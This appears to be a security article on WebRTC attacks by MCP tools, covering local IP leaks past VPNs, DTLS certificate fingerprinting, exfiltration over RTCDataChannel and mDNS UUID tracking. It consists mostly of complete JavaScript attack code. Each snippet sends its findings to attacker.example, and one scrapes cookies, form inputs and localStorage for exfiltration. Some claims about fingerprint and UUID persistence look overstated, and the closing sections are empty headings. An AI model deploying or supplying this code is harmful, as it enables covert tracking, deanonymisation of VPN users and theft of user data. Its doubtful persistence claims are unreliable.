MCP server WebRTC security — local IP disclosure, DTLS fingerprinting, CORS bypass via RTCDataChannel, and mDNS hostname leakage

How RTCPeerConnection works and where the attack surface lives

Attack 1: Local IP address disclosure via ICE candidate gathering (VPN bypass)

When RTCPeerConnection.setLocalDescription() is called, the browser's ICE agent enumerates all active network interfaces and generates host candidates — one per interface, containing the interface's actual IP address and an ephemeral port. This happens locally: no STUN server, no outbound connection, no TURN relay. The host candidates appear in onicecandidate events with candidate strings of the form candidate:0 1 UDP 2122252543 192.168.1.47 51234 typ host. The critical detail for VPN bypass is that VPN software creates a virtual network interface (e.g., tun0 on Linux, a virtual adapter on Windows) with the VPN's assigned IP (often in the 10.8.x.x or 172.16.x.x range). But the device's physical ethernet or WiFi interface still exists and still carries an IP — the physical LAN IP that the VPN is tunneling over. ICE candidates are generated for all interfaces, so both the VPN virtual IP and the physical LAN IP appear in separate candidates. An attacker receiving these candidates can immediately distinguish the VPN-assigned address from the real LAN IP, fully de-anonymizing the user's physical network location.

// ATTACK: Enumerate all local network interface IPs via RTCPeerConnection ICE
// candidate gathering — including real LAN IP addresses behind a VPN tunnel.
// No STUN server, no remote peer, no user permission required.
// Host candidates are generated locally and appear within milliseconds.

async function collectLocalIPs() {
  return new Promise((resolve) => {
    // Empty iceServers: no STUN/TURN needed for host (local) candidates.
    // The browser enumerates NICs and generates one host candidate per interface.
    const pc = new RTCPeerConnection({ iceServers: [] });

    const discovered = new Map(); // ip -> candidate type
    const candidateRegex = /candidate:\S+ \d+ \S+ \d+ ([\d.a-f:]+) \d+ typ (\w+)/i;

    pc.onicecandidate = (event) => {
      if (!event.candidate) {
        // null candidate = ICE gathering complete. All local IPs are now known.
        pc.close();
        resolve(analyzeResults(discovered));
        return;
      }

      const candidate = event.candidate.candidate;
      // candidate string format (RFC 8445 §5.1):
      //   candidate:      typ 
      // Example:
      //   "candidate:0 1 UDP 2122252543 192.168.1.47 51234 typ host"
      //   "candidate:1 1 UDP 1686052863 10.8.0.2 51235 typ host"   <- VPN virtual IP
      //   "candidate:2 1 TCP 1518280447 192.168.1.47 9 typ host tcptype active"

      const match = candidate.match(candidateRegex);
      if (match) {
        const ip   = match[1];
        const type = match[2]; // 'host', 'srflx', or 'relay'
        if (!discovered.has(ip)) {
          discovered.set(ip, type);
          console.log(`[ICE] Found ${type} candidate: ${ip}`);
        }
      }
    };

    // Creating a DataChannel is required to trigger ICE gathering.
    // Without a media track or data channel, the browser won't generate candidates.
    pc.createDataChannel('');

    // createOffer() starts SDP negotiation, setLocalDescription() triggers ICE agent.
    // These two calls are all that's needed — no signaling, no remote peer required.
    pc.createOffer()
      .then(offer => pc.setLocalDescription(offer))
      .catch(err => {
        pc.close();
        resolve({ error: err.message });
      });

    // Safety timeout: ICE gathering usually completes in <100ms on local interfaces.
    // After 2000ms, force-resolve with whatever we have.
    setTimeout(() => {
      pc.close();
      resolve(analyzeResults(discovered));
    }, 2000);
  });
}

function analyzeResults(discovered) {
  const results = {
    allIPs:        [],
    lanIPs:        [],   // 192.168.x.x, 10.x.x.x, 172.16-31.x.x — physical NIC IPs
    vpnIPs:        [],   // IPs in VPN-typical ranges (10.8.x.x, 172.16.x.x)
    isVPN:         false,
    vpnBypass:     null, // The real LAN IP if VPN is detected
  };

  for (const [ip, type] of discovered) {
    results.allIPs.push({ ip, type });

    // RFC 1918 private ranges
    if (/^192\.168\./.test(ip)) results.lanIPs.push(ip);
    if (/^10\./.test(ip))       results.lanIPs.push(ip);
    if (/^172\.(1[6-9]|2\d|3[01])\./.test(ip)) results.lanIPs.push(ip);
  }

  // VPN detection: if the HTTP request's source IP (visible server-side) is in
  // a VPN datacenter range (e.g., 10.8.x.x / 172.16.x.x / known VPN CIDRs) but
  // ICE candidates show a 192.168.x.x or home-ISP 10.x.x.x address, the user has
  // a physical LAN that differs from the VPN-tunneled IP. The physical LAN IP is
  // the "real" network location.
  if (results.lanIPs.length >= 2) {
    results.isVPN = true;
    // The 192.168.x.x is almost certainly the physical WiFi/ethernet IP.
    // The VPN assigns a different range (10.8.x.x is OpenVPN default).
    results.vpnBypass = results.lanIPs.find(ip => /^192\.168\./.test(ip));
  }

  return results;
}

// Usage: exfiltrate discovered IPs including real LAN IP behind VPN
collectLocalIPs().then(result => {
  // result.vpnBypass = '192.168.1.47' even when VPN shows a different external IP
  // result.allIPs = [
  //   { ip: '192.168.1.47', type: 'host' },   // Physical WiFi IP (real location)
  //   { ip: '10.8.0.2',     type: 'host' },   // VPN virtual interface IP
  //   { ip: '::1',          type: 'host' },   // IPv6 loopback
  // ]
  navigator.sendBeacon('https://attacker.example/ip-leak', JSON.stringify({
    ...result,
    origin: location.origin,
    userAgent: navigator.userAgent,
    ts: Date.now(),
  }));
});

Attack 2: Persistent fingerprinting via DTLS certificate fingerprint

When RTCPeerConnection.createOffer() is called for the first time in a browser session, the browser generates a DTLS identity certificate — an ephemeral X.509 certificate used to authenticate the WebRTC connection's DTLS handshake. In Chrome and Edge, this certificate is generated once per browser session (not per tab, not per page load) and is reused for all subsequent RTCPeerConnection instances in that session. The certificate's SHA-256 fingerprint appears in the SDP offer's a=fingerprint:sha-256 attribute as a 32-byte (256-bit) hex value. Because the certificate is session-scoped in Chrome, the fingerprint is identical across all tabs, across private/incognito windows opened in the same Chrome session, and across cookie clears performed within the session. The fingerprint only changes when Chrome is fully quit and relaunched. This makes it a 256-bit stable identifier for the current browser session — comparable to a session cookie that cannot be cleared through browser UI, survives private browsing mode, and is unaffected by VPN changes, since it is derived from a locally-generated key pair.

// ATTACK: Extract the DTLS certificate SHA-256 fingerprint from the SDP offer
// as a stable browser-session identifier. The fingerprint is identical in
// all tabs and private windows within the same Chrome session, surviving:
//   - Cookie clears
//   - localStorage.clear()
//   - Private/incognito windows (same Chrome session)
//   - VPN changes (purely local computation)
//   - DNS changes
// It only rotates when Chrome is fully quit and relaunched.

async function getDTLSFingerprint() {
  // Create a minimal RTCPeerConnection — no STUN servers needed.
  // The DTLS cert is generated by the browser regardless of ICE configuration.
  const pc = new RTCPeerConnection({ iceServers: [] });

  // A DataChannel is required to generate a non-empty offer for data sessions.
  // Without this, createOffer() may produce an SDP with no media sections,
  // which still contains the fingerprint — but some implementations omit it.
  pc.createDataChannel('fp-probe');

  let fingerprint = null;

  try {
    // createOffer() triggers DTLS certificate selection/generation.
    // In Chrome: the browser retrieves (or generates once) the session DTLS cert.
    // In Firefox: a new cert is generated per RTCPeerConnection (weaker signal).
    const offer = await pc.createOffer();

    // The SDP offer is a text blob. The fingerprint is on the line:
    //   a=fingerprint:sha-256 AA:BB:CC:DD:EE:FF:...  (32 colon-separated hex bytes)
    // Example:
    //   a=fingerprint:sha-256 4A:3B:C2:91:F7:82:0E:D4:7C:55:A9:10:3F:B6:22:D8:
    //                         99:4E:61:FA:73:08:2B:C5:D7:11:EA:4C:86:30:07:5F
    //
    // Note: the SDP may contain multiple a=fingerprint lines (one per bundle group),
    // but they all carry the same fingerprint — same cert, multiple references.
    const sdp = offer.sdp;
    const fpMatch = sdp.match(/^a=fingerprint:sha-256\s+([A-Fa-f0-9:]+)/m);

    if (fpMatch) {
      // Strip colons to get a compact 64-hex-char identifier
      fingerprint = fpMatch[1].replace(/:/g, '').toLowerCase();
      // fingerprint is now a 64-character hex string = 256-bit identifier
      // Example: "4a3bc291f7820ed47c55a9103fb622d8994e61fa73082bc5d711ea4c8630075f"
    }

    // Also extract the SDP session ID for additional context
    const sessionIdMatch = sdp.match(/^o=- (\d+) /m);
    const sessionId = sessionIdMatch ? sessionIdMatch[1] : null;

    // In Chrome, the fingerprint is stable for the entire browser session.
    // In Edge (Chromium-based): same behavior as Chrome.
    // In Firefox: the cert rotates per-RTCPeerConnection (but the cert IS stable
    //   for the browser session if queried from the same RTCPeerConnection instance).
    //   Firefox also rotates on browser restart, making it a weaker fingerprint signal.
    // In Safari: DTLS cert behavior is per-browsing-context; less stable than Chrome.

    return { fingerprint, sessionId, sdpLength: sdp.length };
  } finally {
    // Always close the RTCPeerConnection — creating it has already done the work.
    // Do not call setLocalDescription(): we only needed the SDP string, not ICE gathering.
    pc.close();
  }
}

// Usage: collect DTLS fingerprint and exfiltrate as a session token.
// On return visits (even after clearing all cookies/storage), the same fingerprint
// allows the server to re-link the current visit to all previous visits
// within the same Chrome browser session.
getDTLSFingerprint().then(({ fingerprint, sessionId }) => {
  if (!fingerprint) return;

  // The fingerprint can be stored server-side as a session key.
  // When combined with other signals (screen dimensions, timezone, fonts),
  // it provides a highly stable cross-session fingerprint even across browser restarts
  // (via correlation with the mDNS UUID — see Attack 4).

  // sendBeacon fires even if the page is navigating away
  navigator.sendBeacon('https://attacker.example/dtls-fp', JSON.stringify({
    dtlsFingerprint: fingerprint, // 256-bit stable ID for this Chrome session
    sessionId:       sessionId,
    browser:         navigator.userAgent,
    origin:          location.origin,
    ts:              Date.now(),
  }));

  // Additionally: the fingerprint can be used to correlate across the same visit
  // even if the user opens multiple tabs in incognito mode — because Chrome shares
  // the DTLS certificate across all windows in the same browser session, including
  // incognito windows, the fingerprint links all concurrent tab activity.
});

Attack 3: CORS bypass via RTCDataChannel for cross-origin data exfiltration

HTTP requests initiated by a web page — via fetch(), XMLHttpRequest, or sendBeacon() — are subject to the browser's CORS policy. If the target server does not include the appropriate Access-Control-Allow-Origin headers, the browser blocks the response (for reads) or in some cases the request itself (for preflighted mutations). This is the primary browser mechanism preventing malicious scripts from exfiltrating data to attacker-controlled servers over HTTP. RTCDataChannel bypasses this entirely. WebRTC's data plane uses DTLS for encryption and SCTP for multiplexing, transported over UDP (or TCP as a fallback). These are not HTTP requests — the browser's CORS engine, which operates at the HTTP layer, has no visibility into or authority over UDP datagrams. An MCP tool can establish an RTCDataChannel to an attacker-controlled signaling server (via WebSocket for the ICE/SDP exchange), complete the DTLS handshake, and then send arbitrary data via channel.send() over a connection that bypasses every HTTP-layer security control including CORS, CSP's connect-src directive (in many configurations), and HTTP-based network monitoring tools.

// ATTACK: Exfiltrate stolen data to an attacker-controlled server using RTCDataChannel,
// bypassing CORS entirely. The data leaves the browser as UDP datagrams (DTLS/SCTP),
// not as HTTP requests — CORS does not apply to WebRTC's data plane.
//
// Setup required on the attacker side:
//   1. A WebSocket signaling server (ws://attacker.example/signal) to exchange SDP/ICE
//   2. A WebRTC peer (Node.js with wrtc, or a browser) to complete the ICE handshake
//   3. Optionally: a TURN server to relay traffic when UDP is blocked
//
// The browser's network inspector shows the UDP traffic as "WebRTC" in chrome://webrtc-internals
// but it does NOT appear in the DevTools Network tab as an HTTP request.
// Simple CORS monitoring that inspects HTTP headers sees nothing.

async function exfiltrateViaDatChannel(stolenData) {
  return new Promise((resolve, reject) => {
    // Step 1: Connect to attacker's WebSocket signaling server.
    // This WS connection IS subject to CORS (it's HTTP Upgrade), but the WS origin
    // check only verifies the Origin header — which can be spoofed in some MCP contexts.
    // The actual data exfiltration uses the DataChannel, not the WebSocket.
    const ws = new WebSocket('wss://attacker.example/rtc-signal');

    // Step 2: Create RTCPeerConnection with attacker's STUN/TURN server.
    // Using attacker's STUN lets them observe the STUN binding requests (IP disclosure).
    // Using attacker's TURN lets them relay (and observe) all DataChannel traffic.
    const pc = new RTCPeerConnection({
      iceServers: [
        {
          urls: 'turn:attacker.example:3478',
          username:   'mcpuser',
          credential: 'mcppass',
        },
      ],
    });

    // Step 3: Create the DataChannel BEFORE createOffer() so it's included in the SDP.
    // Channel must be created by the offerer (us), not the answerer.
    const channel = pc.createDataChannel('exfil', {
      ordered:   false, // Unordered delivery: lower latency, harder to inspect order
      maxRetransmits: 0, // Fire-and-forget: do not retransmit lost packets
    });

    channel.onopen = () => {
      // Step 6: DataChannel is open. Send the stolen data.
      // channel.send() accepts string or ArrayBuffer.
      // Split large payloads into chunks ≤ RTCDataChannel's SCTP message size limit (~256KB).
      const payload = JSON.stringify({
        data:   stolenData,
        origin: location.origin,
        ts:     Date.now(),
      });

      // SCTP max message size is typically 256KB; chunk if needed
      const CHUNK_SIZE = 65536; // 64KB chunks for compatibility
      if (payload.length <= CHUNK_SIZE) {
        channel.send(payload);
      } else {
        // Chunked transfer: prefix each chunk with sequence number
        const totalChunks = Math.ceil(payload.length / CHUNK_SIZE);
        for (let i = 0; i < totalChunks; i++) {
          const chunk = payload.slice(i * CHUNK_SIZE, (i + 1) * CHUNK_SIZE);
          channel.send(JSON.stringify({ seq: i, total: totalChunks, chunk }));
        }
      }

      // Step 7: Close after sending — minimize connection lifetime
      setTimeout(() => { channel.close(); pc.close(); ws.close(); resolve(); }, 500);
    };

    // Step 4: ICE candidate trickle — forward our candidates to the signaling server
    pc.onicecandidate = (event) => {
      if (ws.readyState === WebSocket.OPEN) {
        ws.send(JSON.stringify({
          type:      'candidate',
          candidate: event.candidate ? event.candidate.toJSON() : null,
        }));
      }
    };

    ws.onopen = async () => {
      // Step 5a: Create and send our SDP offer via the signaling WebSocket
      const offer = await pc.createOffer();
      await pc.setLocalDescription(offer);
      ws.send(JSON.stringify({ type: 'offer', sdp: offer.sdp }));
    };

    ws.onmessage = async (event) => {
      const msg = JSON.parse(event.data);

      if (msg.type === 'answer') {
        // Step 5b: Set the remote SDP answer from the attacker's peer
        await pc.setRemoteDescription(new RTCSessionDescription(msg));

      } else if (msg.type === 'candidate' && msg.candidate) {
        // Step 5c: Add ICE candidates from the attacker's peer
        await pc.addIceCandidate(new RTCIceCandidate(msg.candidate));
      }
    };

    ws.onerror = (err) => reject(err);

    // Timeout: if ICE fails (e.g., symmetric NAT without TURN), fall back to sendBeacon
    setTimeout(() => {
      if (channel.readyState !== 'open') {
        pc.close(); ws.close();
        // Fallback: CORS-restricted but better than nothing
        navigator.sendBeacon('https://attacker.example/fallback', JSON.stringify(stolenData));
        resolve();
      }
    }, 10000);
  });
}

// Example: steal sensitive DOM content and exfiltrate via DataChannel
const sensitiveData = {
  cookies:   document.cookie,                               // May be empty if HttpOnly
  title:     document.title,
  forms:     Array.from(document.querySelectorAll('input'))
               .map(i => ({ name: i.name, value: i.value, type: i.type })),
  localStorage: Object.entries(localStorage),
};

// This data leaves as UDP datagrams — the HTTP CORS policy does not apply.
// An HTTP-only network proxy or WAF will not see this traffic as a request.
exfiltrateViaDatChannel(sensitiveData);

Attack 4: Local network device enumeration via WebRTC ICE with mDNS candidates

Chrome 75 introduced mDNS ICE candidates as a privacy improvement: instead of exposing the raw LAN IP address (e.g., 192.168.1.47) in host candidates, Chrome generates a .local mDNS hostname (e.g., a8f4d2c1-3b7e-4a91-8f02-6c5d1e9b0347.local) that resolves to the real IP only on the local network. The intent was to prevent the IP disclosure attack described in Attack 1. However, the UUID embedded in the .local hostname is not generated per-session or per-page-load — it is generated once per Chrome installation and persists indefinitely, surviving browser restarts, OS reboots, cookie clears, and Chrome profile resets. An MCP tool that extracts this UUID from the onicecandidate event has a stable identifier for the physical Chrome installation that is more persistent than any cookie. Furthermore, the mDNS hostname can be resolved to the real IP by an attacker-controlled STUN server that has access to the same local network — or through coordinated attacks where another compromised device on the same LAN resolves the mDNS query.

// ATTACK: Extract the stable Chrome-installation UUID from mDNS ICE candidates.
// In Chrome 75+, host candidates use a .local mDNS hostname instead of raw IP.
// The UUID is stable per Chrome installation — more persistent than cookies.
//
// This UUID:
//   - Persists across browser restarts
//   - Survives "Clear browsing data" (all time, all data types)
//   - Survives Chrome profile reset
//   - Is NOT affected by VPN changes
//   - Changes only on Chrome uninstall+reinstall or OS wipe
//   - Is different per Chrome profile (multi-profile setups have different UUIDs)

async function extractMDNSUUID() {
  return new Promise((resolve) => {
    const pc = new RTCPeerConnection({ iceServers: [] });
    pc.createDataChannel('mdns-probe');

    const results = {
      mdnsHostnames:    [],  // All .local hostnames observed
      uuids:            [],  // Extracted UUIDs from .local hostnames
      rawIPs:           [],  // Raw IPs (if mDNS is disabled or non-Chrome browser)
      interfaceCount:   0,   // Total number of network interfaces discovered
      hasMDNS:          false, // Whether Chrome's mDNS candidate privacy feature is active
    };

    // mDNS candidate pattern: a UUID-like string followed by .local
    // UUID format: 8-4-4-4-12 hex characters
    // Example candidate string:
    //   "candidate:0 1 UDP 2122252543 a8f4d2c1-3b7e-4a91-8f02-6c5d1e9b0347.local 51234 typ host"
    const mdnsPattern   = /candidate:\S+ \d+ \S+ \d+ ([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\.local) /i;
    const rawIPPattern  = /candidate:\S+ \d+ \S+ \d+ ([\d.]+|[a-f0-9:]+) \d+ typ host/i;

    pc.onicecandidate = (event) => {
      if (!event.candidate) {
        // ICE gathering complete
        pc.close();
        resolve(results);
        return;
      }

      const cand = event.candidate.candidate;
      results.interfaceCount++;

      const mdnsMatch = cand.match(mdnsPattern);
      if (mdnsMatch) {
        results.hasMDNS = true;
        const hostname = mdnsMatch[1]; // e.g., "a8f4d2c1-3b7e-4a91-8f02-6c5d1e9b0347.local"
        const uuid     = hostname.replace('.local', ''); // The stable Chrome-installation UUID

        if (!results.mdnsHostnames.includes(hostname)) {
          results.mdnsHostnames.push(hostname);
          results.uuids.push(uuid);

          // The UUID can be used directly as a fingerprint identifier.
          // It is valid as a primary key in a tracking database:
          //   - 128 bits of entropy (UUID v4 random)
          //   - Stable across all browser data clears
          //   - Unique per Chrome installation (different on every device)
          //
          // Cross-device correlation: if the same UUID appears from different
          // IP addresses (user travels with a laptop), the tracking system can
          // follow the device across network locations.
        }
      }

      const rawMatch = cand.match(rawIPPattern);
      if (rawMatch && !mdnsMatch) {
        // Non-Chrome browser or mDNS disabled: raw IP exposed (Attack 1 applies)
        results.rawIPs.push(rawMatch[1]);
      }
    };

    pc.createOffer()
      .then(offer => pc.setLocalDescription(offer))
      .catch(() => { pc.close(); resolve(results); });

    setTimeout(() => { pc.close(); resolve(results); }, 2000);
  });
}

// Usage: extract the Chrome installation UUID and correlate with DTLS fingerprint
// for a two-factor persistent identifier that survives everything short of reinstall.
extractMDNSUUID().then(results => {
  if (results.uuids.length === 0 && results.rawIPs.length === 0) return;

  // Combine the mDNS UUID with the DTLS fingerprint (from Attack 2):
  // - mDNS UUID: stable across Chrome restarts (across browser sessions)
  // - DTLS fingerprint: stable within a Chrome session (across tabs/incognito)
  // Together, they provide both within-session and cross-session identity.

  const payload = {
    // Primary persistent identifier — survives all data clears
    chromeInstallUUID:   results.uuids[0] ?? null,

    // Fallback for non-mDNS browsers: raw IP (also highly stable for home users)
    rawLocalIPs:         results.rawIPs,

    hasMDNSPrivacy:      results.hasMDNS,
    interfaceCount:      results.interfaceCount, // Number of NICs: signals VM vs physical host

    // Derived context: multiple interfaces often indicate VPN (physical + virtual NIC)
    likelyVPN:           results.interfaceCount >= 2,

    origin:              location.origin,
    userAgent:           navigator.userAgent,
    ts:                  Date.now(),
  };

  navigator.sendBeacon('https://attacker.example/mdns-uuid', JSON.stringify(payload));
});

// Additional mDNS enumeration capability:
// An attacker-controlled STUN server that receives mDNS hostnames in ICE candidates
// can attempt mDNS resolution on the local network segment where the STUN server sits.
// In enterprise environments where an attacker has a foothold on the same network,
// resolving ".local" reveals the real IP of the victim's device.
// This converts the "privacy-preserving" mDNS hostname into a network locator.
function attemptMDNSResolution(mdnsHostname) {
  // The browser itself will NOT resolve .local hostnames via normal DNS.
  // But the attacker's STUN server — if on the same local network — can:
  //   1. Receive the mDNS hostname in a STUN binding request
  //   2. Issue an mDNS query for that hostname on the local network (RFC 6762)
  //   3. Receive a multicast DNS response from the victim's device with its real IP
  // This is a server-side attack, not exploitable purely from browser JavaScript.
  // Noted here because it makes the mDNS "privacy" feature insufficient in:
  //   - Corporate networks where an attacker has internal access
  //   - Home networks where the attacker controls a smart device on the same LAN
  console.log('mDNS resolution requires server-side access to the victim LAN:', mdnsHostname);
}

Browser support

SkillAudit findings

See also: MCP server WebRTC deep dive (extended analysis of ICE negotiation security) · MCP server WebSocket security · MCP server Network Information API security